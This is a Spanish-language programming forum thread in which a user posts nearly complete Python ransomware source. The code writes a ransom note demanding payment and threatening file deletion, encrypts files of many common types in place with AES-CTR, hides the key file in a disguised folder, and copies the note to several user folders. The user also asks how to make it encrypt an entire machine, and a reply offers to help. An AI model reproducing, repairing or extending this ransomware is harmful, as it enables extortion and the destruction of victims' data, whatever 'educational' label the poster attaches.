Python - Ransomware gloval

 
Vista:

Ransomware gloval

Publicado por Gabriel Signes Vila (9 intervenciones) el 25/01/2021 18:47:18
Hola, estoy trabajando en un proyecto haciendo un ransomware (para fines educativos, lógicamente).


Esta es una parte del código donde se "deciden" los archivos que van a encriptarse:

1
2
3
4
5
destination = r'C:\Users\{}\desktop\pruebas'.format(username)
 
destination = os.path.abspath('')
files = os.listdir(destination)
files = [x for x in files if not x.startswith('.')]


Quiero hacer que el programa sea global, es decir, que "encripte" toda la máquina virtual al completo. Saben como puedo hacerlo? A penas estoy empezando en la programación y no encuentro información sobre esto.

Gracias de antemano.
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
-1
Responder
Imágen de perfil de Elias
Val: 10
Ha disminuido su posición en 7 puestos en Python (en relación al último mes)
Gráfica de Python

Ransomware gloval

Publicado por Elias (3 intervenciones) el 27/01/2021 01:17:29
No se entiende bien tu código. Pasalo completo así te puedo ayudar ;)
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

Ransomware gloval

Publicado por Gabriel Signes Vila (9 intervenciones) el 27/01/2021 11:32:09
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import os
from tkinter import messagebox
import random
import hashlib
import socket
from Crypto.Util import Counter
from Crypto.Cipher import AES
import shutil
 
def archivo_texto():
 
	archivo_texto = open ("LEEME","w")
	frase = "OOOPS :(, ¡TUS ARCHIVOS HAN SIDO ENCRIPTADOS!  \n \n \n¿Que les ha sucedido a mis archivos? \n \nSus archivos acaban de ser encriptados, resultando completamente inutilizables. \nEs posible que muchos de sus documentos y fotos ahora no sean compatibles con su dispositivo, y por tanto no los puede abrir. \n \n¿Puedo recuperar mis archivos? \n \n¡Por supuesto! Si desea decodificar sus archivos para que vuelvan a ser utilizables, \nsímplemente siga las instrucciones que se muestran a continuación: \n \n \n \nINSTRUCCIONES: \n \n1. -rescate- \n \n2. Envíe por email un comprobante de pago (como una captura de pantalla) \n   a la dirección del pago \n \n3. Una vez comprobado el pago, le indicaré por gmail dónde se encuentra la clave para recuperar sus archivos. \n \n \n¿QUE NO DEBO HACER? \n \n-Bajo ningún concepto trate de eliminar ningún archivo del pc, ya que la clave se encuentra alojada en alguno de ellos. \n \n-NO intente instalar antivirus o desencriptar los archivos por su cuenta. \n Si hace esto, TODOS SUS ARCHIVOS SERÁN ELIMINADOS y no los podrá recuperar. \n \n-NO reinicie el sistema infectado, por mucho que lo haga, sus archivos seguirán encriptados."
	archivo_texto.write (frase)
	archivo_texto.close()
 
archivo_texto()
 
username = os.getlogin()
 
destination = 'C:\\Users\\[]\\Desktop\\pruebas'.format(username)
 
destination = os.path.abspath('')
files = os.listdir(destination)
files = [x for x in files if not x.startswith('.')]
 
extensions = [".txt", ".png", ".jpg", ".ico", ".mp3", ".mp4", ".exe", ".doc", ".docx", ".pdf", ".lnk", ".bat", ".vbs", ".mov", ".gif", ".dll", ".sys", ".avi", ".wav", ".zip", ".rar", ".ibook", ".mwv", ".jpeg"]
 
def hash_key():
	hashnumber = destination + socket.gethostname() + str(random.randint(0, 10000000000000000000000000000000000000000000000))
	hashnumber = hashnumber.encode('utf-8')
	print(hashnumber)
	hashnumber = hashlib.sha512(hashnumber)
	hashnumber = hashnumber.hexdigest()
 
	new_key = []
 
	for k in hashnumber:
		if len(new_key) == 32:
			hashnumber = ''.join(new_key)
			break
		else:
			new_key.append(k)
 
	return hashnumber
 
 
def encrypt_and_decrypt(text, crypto, block_size = 16):
	with open(text, 'r+b') as encrypted_file:
		unencrypted_content = encrypted_file.read(block_size)
		while unencrypted_content:
			encrypted_content = crypto(unencrypted_content)
			if len(unencrypted_content) != len(encrypted_content):
				raise ValueError('')
 
			encrypted_file.seek(- len(unencrypted_content), 1)
			encrypted_file.write(encrypted_content)
			unencrypted_content = encrypted_file.read(block_size)
 
 
 
def discover(key):
	archivos_lista = open('archivos_lista', 'w+')
 
	for extension in extensions:
		for file in files:
			if file.endswith(extension):
				archivos_lista.write(os.path.join(file)+ '\n')
	archivos_lista.close()
 
	del_space = open('archivos_lista', 'r')
	del_space = del_space.read().split('\n')
	print(del_space)
	del_space = [i for i in del_space if not i == '']
	print(del_space)
 
	if os.path.exists('clave'):
		decrypt_field = input('Enter the symmetric key: ')
 
		clave = open('clave', 'r')
 
		key = clave.read().split('\n')
		key = ''.join(key)
 
		if decrypt_field == key:
			key = key.encode('utf-8')
			counter = Counter.new(128)
			crypto = AES.new(key, AES.MODE_CTR, counter = counter)
 
			cryp_files = crypto.decrypt
 
			for element in del_space:
				encrypt_and_decrypt(element, cryp_files)
	else:
		counter = Counter.new(128)
		crypto = AES.new(key, AES.MODE_CTR, counter = counter)
 
		clave = open('clave', 'wb')
		clave.write(key)
		clave.close()
 
		cryp_files = crypto.encrypt
 
		for element in del_space:
			encrypt_and_decrypt(element, cryp_files)
 
 
def main():
	hashnumber = hash_key()
	print(hashnumber)
	print(len(hashnumber))
	hashnumber = hashnumber.encode('utf-8')
	discover(hashnumber)
 
 
if __name__ == '__main__':
	try:
		main()
	except KeyboardInterrupt:
		exit()
 
 
def leeme():
 
    username = os.getlogin()
    shutil.copy("LEEME", "C:/Users/{}/Desktop".format(username))
    shutil.copy("LEEME", "C:/Users/{}/Documents".format(username))
    shutil.copy("LEEME", "C:/Users/{}/Downloads".format(username))
    shutil.move("clave", "C:/Users/{}/Roaming/Intel/Wireless".format(username))
 
leeme()




Este es el código al completo
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
-1
Comentar